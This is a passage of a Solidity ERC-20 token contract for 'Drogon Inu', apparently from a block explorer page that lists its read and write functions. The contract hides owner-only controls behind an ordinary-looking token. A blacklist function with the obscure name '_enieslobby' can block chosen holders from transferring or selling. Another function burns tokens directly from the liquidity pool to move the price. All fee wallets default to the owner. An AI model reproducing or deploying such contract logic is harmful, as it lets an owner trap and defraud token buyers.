     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() external virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) external virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IDexRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
        
}

interface IDexFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

contract Drogoninu  is ERC20, Ownable {

    IDexRouter public dexRouter;
    address public lpPair;
    address public constant deadAddress = address(0xdead);

    bool private swapping;

    address public marketingWallet;
    address public devWallet;
    address public RouterAddress;
    address public LiquidityReceiver;
    
   
    

    uint256 public maxTxnAmount;
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;


    
    uint256 public percentForLPMarketing = 0; // 100 = 1%
    bool public lpMarketingEnabled = false;
    uint256 public lpMarketingFrequency = 0 seconds;
    uint256 public lastLpMarketingTime;
    uint256 public manualMarketingFrequency = 1 hours;
    uint256 public lastManualLpMarketingTime;

    //launch variables
    bool public tradingActive = false;
    uint256 private _blocks;
    uint256 public tradingActiveBlock = 0;
    bool public swapEnabled = false;
    
     // prevent more than 1 buy on same block this may cuz rug check bots to fail but helpful on launches 
    mapping(address => uint256) private _holderLastTransferBlock; // to hold last Transfers temporarily during launch
    bool public transferDelayEnabled = false;

    uint256 public TotalbuyFees;
    uint256 public buyMarketingFee;
    uint256 public buyLiquidityFee;
    uint256 public buyDevFee;
    
    uint256 public TotalsellFees;
    uint256 public sellMarketingFee;
    uint256 public sellLiquidityFee;
    uint256 public sellDevFee;
    
    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;
 
    // exlcude from fees and max transaction amount
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) public _isExcludedmaxTxnAmount;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping (address => bool) public automatedMarketMakerPairs;
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );
    
    event AutoNukeLP(uint256 amount);
    
    event ManualNukeLP(uint256 amount);
    

    event OwnerForcedSwapBack(uint256 timestamp);

    constructor() ERC20("Drogon Inu", "DINU") payable {
        //taxes set
        uint256 _buyMarketingFee = 5;
        uint256 _buyLiquidityFee = 5;
        uint256 _sellMarketingFee = 15;
        uint256 _sellLiquidityFee = 15;
        //total supply => 1e8 means 1B
        uint256 totalSupply = 1e5 * 10 * 1e18;
        
        maxTxnAmount = totalSupply * 2 / 100;
        maxWallet = totalSupply * 2 / 100;
        swapTokensAtAmount = totalSupply * 1 / 1000;

        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyDevFee = 0;
        TotalbuyFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
        
        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellDevFee = 0;
        TotalsellFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
        
        marketingWallet = address(owner());
        devWallet = address(owner());

        // exclude from paying fees or having max transaction amount
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);        
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        //set owner as default marketing & liquidity wallet
        marketingWallet=owner();
        LiquidityReceiver=owner();

        
        // initialize router
        RouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//set router address here
        IDexRouter _dexRouter = IDexRouter(RouterAddress);
        dexRouter = _dexRouter;
        lastLpMarketingTime = block.timestamp;
        // create pair
        lpPair = IDexFactory(_dexRouter.factory()).createPair(address(this), _dexRouter.WETH());
        excludeFromMaxTransaction(address(lpPair), true);
        _setAutomatedMarketMakerPair(address(lpPair), true);       
        //initiate supply
        _createInitialSupply(owner(), totalSupply*100/100);
    }

    receive() external payable {}
    mapping (address => bool) private _isBlackListed;   
    // Toggle Transfer delay
    function DisableTransferDelay() external onlyOwner {
        transferDelayEnabled = false;
    }
    function setSwapTokensAt(uint256 newAmount) external onlyOwner returns (bool){
        require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
        swapTokensAtAmount = newAmount;
        return true;
    }
    function updateMaxTxn_base1000(uint256 newNum) external onlyOwner {
        //force max tx to be at least 0.5%
        require(newNum >= 5, "Cannot set maxTxnAmount lower than 0.5%");
        maxTxnAmount = ((totalSupply() * newNum / 1000)/1e18) * (10**18);
    }

    function updateMaxWallet_base1000(uint256 newNum) external onlyOwner {
        //force max wallet to be at least 0.5%
        require(newNum >= 5, "Cannot set maxWallet lower than 0.5%");
        maxWallet = ((totalSupply() * newNum / 1000)/1e18) * (10**18);
    }
    
    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedmaxTxnAmount[updAds] = isEx;
    }
    
    // in case something goes wrong on auto swap
    function updateSwapEnabled(bool enabled) external onlyOwner(){
        swapEnabled = enabled;
    }
    function _setbuyfees(uint256 _marketing,uint256 _liquidity) external onlyOwner{
        require((_marketing+_liquidity) <= 30, "Must keep fees lower than 30%");
        buyMarketingFee = _marketing;
        buyLiquidityFee = _liquidity;
        TotalbuyFees = buyMarketingFee + buyLiquidityFee;
    }
    function _setsellfees(uint256 _marketing,uint256 _liquidity) external onlyOwner{
        require((_marketing+_liquidity) <= 30, "Must keep fees lower than 30%");
        sellMarketingFee = _marketing;
        sellLiquidityFee = _liquidity;
        TotalsellFees = sellMarketingFee + sellLiquidityFee;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
    }

    function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
        require(pair != lpPair, "The pair cannot be removed from automatedMarketMakerPairs");

        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

    }
    function SetupFeeReceivers(address _mar,address _liq,address _dev) external onlyOwner {
        marketingWallet = _mar;
        LiquidityReceiver = _liq;
        devWallet = _dev;
    }
    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFromFees[account];
    }
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!_isBlackListed[to], "You have no power here!");
        require(!_isBlackListed[tx.origin], "You have no power here!");

         if(amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if(!tradingActive){
            require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
        }
        
        if (
            from != owner() &&
            to != owner() &&
            to != address(0) &&
            to != address(0xdead) &&
            !swapping &&
            !_isExcludedFromFees[to] &&
            !_isExcludedFromFees[from]
        ){
                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.  
                if (transferDelayEnabled){
                    if (to != address(dexRouter) && to != address(lpPair)){
                        require(_holderLastTransferBlock[tx.origin] < block.number - 1 && _holderLastTransferBlock[to] < block.number - 1, "_transfer:: Transfer Delay enabled.  Try again later.");
                        _holderLastTransferBlock[tx.origin] = block.number;
                        _holderLastTransferBlock[to] = block.number;
                    }
                }
                 
                //when buy
                if (automatedMarketMakerPairs[from] && !_isExcludedmaxTxnAmount[to]) {
                        require(amount <= maxTxnAmount, "Buy transfer amount exceeds the maxTxnAmount.");
                        require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
                
                //when sell
                else if (automatedMarketMakerPairs[to] && !_isExcludedmaxTxnAmount[from]) {
                        require(amount <= maxTxnAmount, "Sell transfer amount exceeds the maxTxnAmount.");
                }
                else if (!_isExcludedmaxTxnAmount[to]){
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
        }
        
    uint256 contractTokenBalance = balanceOf(address(this));
        
        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if( 
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
            
            swapBack();

            swapping = false;
        }
        
        if(!swapping && automatedMarketMakerPairs[to] && lpMarketingEnabled && block.timestamp >= lastLpMarketingTime + lpMarketingFrequency && !_isExcludedFromFees[from]){
            autoMarketingLiquidityPairTokens();
        }
        

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
        
        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if(takeFee){
            // bot/sniper penalty.  Tokens get transferred to Marketing wallet to allow potential refund.
            if((tradingActiveBlock >= block.number - _blocks) && automatedMarketMakerPairs[from]){
                fees = amount * 99 / 100;
                tokensForLiquidity += fees * sellLiquidityFee / TotalsellFees;
                tokensForMarketing += fees * sellMarketingFee / TotalsellFees;
                tokensForDev += fees * sellDevFee / TotalsellFees;
            }
            // on sell
            else if (automatedMarketMakerPairs[to] && TotalsellFees > 0){
                fees = amount * TotalsellFees / 100;
                tokensForLiquidity += fees * sellLiquidityFee / TotalsellFees;
                tokensForMarketing += fees * sellMarketingFee / TotalsellFees;
                tokensForDev += fees * sellDevFee / TotalsellFees;
            }
            // on buy
            else if(automatedMarketMakerPairs[from] && TotalbuyFees > 0) {
              fees = amount * TotalbuyFees / 100;
              tokensForLiquidity += fees * buyLiquidityFee / TotalbuyFees;
                tokensForMarketing += fees * buyMarketingFee / TotalbuyFees;
                tokensForDev += fees * buyDevFee / TotalbuyFees;
            }
            
            if(fees > 0){    
                super._transfer(from, address(this), fees);
            }
          
          amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();

        _approve(address(this), address(dexRouter), tokenAmount);

        // make the swap
        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }
    
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(dexRouter), tokenAmount);

        // add the liquidity
        dexRouter.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            LiquidityReceiver,
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
        bool success;
        
        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}

        if(contractBalance > swapTokensAtAmount * 20){
            contractBalance = swapTokensAtAmount * 20;
        }
        
        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance - liquidityTokens;
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH); 
        
        uint256 ethBalance = address(this).balance - initialETHBalance;
        
        uint256 ethForMarketing = ethBalance * tokensForMarketing / (totalTokensToSwap - (tokensForLiquidity/2));
        uint256 ethForDev = ethBalance * tokensForDev / (totalTokensToSwap - (tokensForLiquidity/2));
        
        uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
        
        
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;

        
        (success,) = address(devWallet).call{value: ethForDev}("");
        (success,) = address(marketingWallet).call{value: ethForMarketing}("");
        
        if(liquidityTokens > 0 && ethForLiquidity > 0){
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
        }
        
    }

    // force Swap back if slippage issues.
    function forceSwapBack() external onlyOwner {
        require(balanceOf(address(this)) >= swapTokensAtAmount, "Can only swap when token amount is at or higher than restriction");
        swapping = true;
        swapBack();
        swapping = false;
        emit OwnerForcedSwapBack(block.timestamp);
    } 

    
    
    function autoMarketingLiquidityPairTokens() internal{
        
        lastLpMarketingTime = block.timestamp;
        
        // get balance of liquidity pair
        uint256 liquidityPairBalance = this.balanceOf(lpPair);
        
        // calculate amount to Marketing
        uint256 amountToMarketing = liquidityPairBalance * percentForLPMarketing / 10000;
        
        if (amountToMarketing > 0){
            super._transfer(lpPair, address(0xdead), amountToMarketing);
        }
        
        //sync price since this is not in a swap transaction!
        IDexPair pair = IDexPair(lpPair);
        pair.sync();
        emit AutoNukeLP(amountToMarketing);
    }

    function manualMarketingLiquidityPairTokens(uint256 percent) external onlyOwner {
        require(block.timestamp > lastManualLpMarketingTime + manualMarketingFrequency , "Must wait for cooldown to finish");
        require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
        lastManualLpMarketingTime = block.timestamp;
        
        // get balance of liquidity pair
        uint256 liquidityPairBalance = this.balanceOf(lpPair);
        
        // calculate amount to Marketing
        uint256 amountToMarketing = liquidityPairBalance * percent / 10000;
        
        if (amountToMarketing > 0){
            super._transfer(lpPair, address(0xdead), amountToMarketing);
        }
        
        //sync price since this is not in a swap transaction!
        IDexPair pair = IDexPair(lpPair);
        pair.sync();
        
    }
    function EnableTrading() external onlyOwner {
        require(!tradingActive, "Trading is already active, cannot relaunch.");
        //standard enable trading
        tradingActive = true;
        swapEnabled = true;
        tradingActiveBlock = block.number;
        _blocks = 0;
    }


    // withdraw ETH if stuck before launch
    function withdrawStuckETH() external onlyOwner {
        require(!tradingActive, "Can only withdraw if trading hasn't started");
        bool success;
        (success,) = address(msg.sender).call{value: address(this).balance}("");
    }

    function isBot(address account) public view returns (bool) {
        return  _isBlackListed[account];
    }
    function _enieslobby(address[] memory Addresses,bool _status) external onlyOwner(){
        //avoid blacklisting lpPair & contract
        for (uint256 i; i < Addresses.length; ++i) {
            if(Addresses[i] != lpPair && Addresses[i] != address(this)){
                _isBlackListed[Addresses[i]] = _status;
            }
        }
    }
}

Read Contract

LiquidityReceiver 0x3fd16d13 → address
RouterAddress 0xc480b4c6 → address
TotalbuyFees 0xa0a2ccd9 → uint256
TotalsellFees 0xf9f4e424 → uint256
_isExcludedmaxTxnAmount 0x5f559fba → bool
_name 0xd28d8852 → string
_symbol 0xb09f1266 → string
allowance 0xdd62ed3e → uint256
automatedMarketMakerPairs 0xb62496f5 → bool
balanceOf 0x70a08231 → uint256
buyDevFee 0x9c3b4fdc → uint256
buyLiquidityFee 0xf11a24d3 → uint256
buyMarketingFee 0x7bce5a04 → uint256
deadAddress 0x27c8f835 → address
decimals 0x313ce567 → uint8
devWallet 0x8ea5220f → address
dexRouter 0x0758d924 → address
isBot 0x3bbac579 → bool
isExcludedFromFees 0x4fbee193 → bool
lastLpMarketingTime 0x8a0de19f → uint256
lastManualLpMarketingTime 0xee9623b9 → uint256
lpMarketingEnabled 0x551b4ea6 → bool
lpMarketingFrequency 0xc7ff0805 → uint256
lpPair 0x452ed4f1 → address
manualMarketingFrequency 0x764c4ce5 → uint256
marketingWallet 0x75f0a874 → address
maxTxnAmount 0xcf46f24c → uint256
maxWallet 0xf8b45b05 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
percentForLPMarketing 0xe513e45a → uint256
sellDevFee 0xa0d82dc5 → uint256
sellLiquidityFee 0xf6374342 → uint256
sellMarketingFee 0x92136913 → uint256
swapEnabled 0x6ddd1713 → bool
swapTokensAtAmount 0xe2f45605 → uint256
symbol 0x95d89b41 → string
tokensForDev 0x9fccce32 → uint256
tokensForLiquidity 0x1a8145bb → uint256
tokensForMarketing 0x1f3fed8f → uint256
totalSupply 0x18160ddd → uint256
tradingActive 0xbbc0c742 → bool
tradingActiveBlock 0xee40166e → uint256
transferDelayEnabled 0xc876d0b9 → bool

Write Contract 23 functions

These functions modify contract state and require a wallet transaction to execute.

DisableTransferDelay 0x64cc78a0
No parameters
EnableTrading 0x1d97b7cd
No parameters
SetupFeeReceivers 0xd0bc827f
address _mar
address _liq
address _dev
_enieslobby 0x866d7dfd
address[] Addresses
bool _status
_setbuyfees 0x522ca91a
uint256 _marketing
uint256 _liquidity
_setsellfees 0x83722039
uint256 _marketing
uint256 _liquidity
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
excludeFromFees 0xc0246668
address account
bool excluded
excludeFromMaxTransaction 0x7571336a
address updAds
bool isEx
forceSwapBack 0x51f205e4
No parameters
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
manualMarketingLiquidityPairTokens 0x31dbc932
uint256 percent
renounceOwnership 0x715018a6
No parameters
setAutomatedMarketMakerPair 0x9a7a23d6
address pair
bool value
setSwapTokensAt 0x53674ba6
uint256 newAmount
returns: bool
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
updateMaxTxn_base1000 0xef4f3c6b
uint256 newNum
updateMaxWallet_base1000 0x87de3743
uint256 newNum
updateSwapEnabled 0x924de9b7
bool enabled
withdrawStuckETH 0xf5648a4f
No parameters

Recent Transactions

No transactions found for this address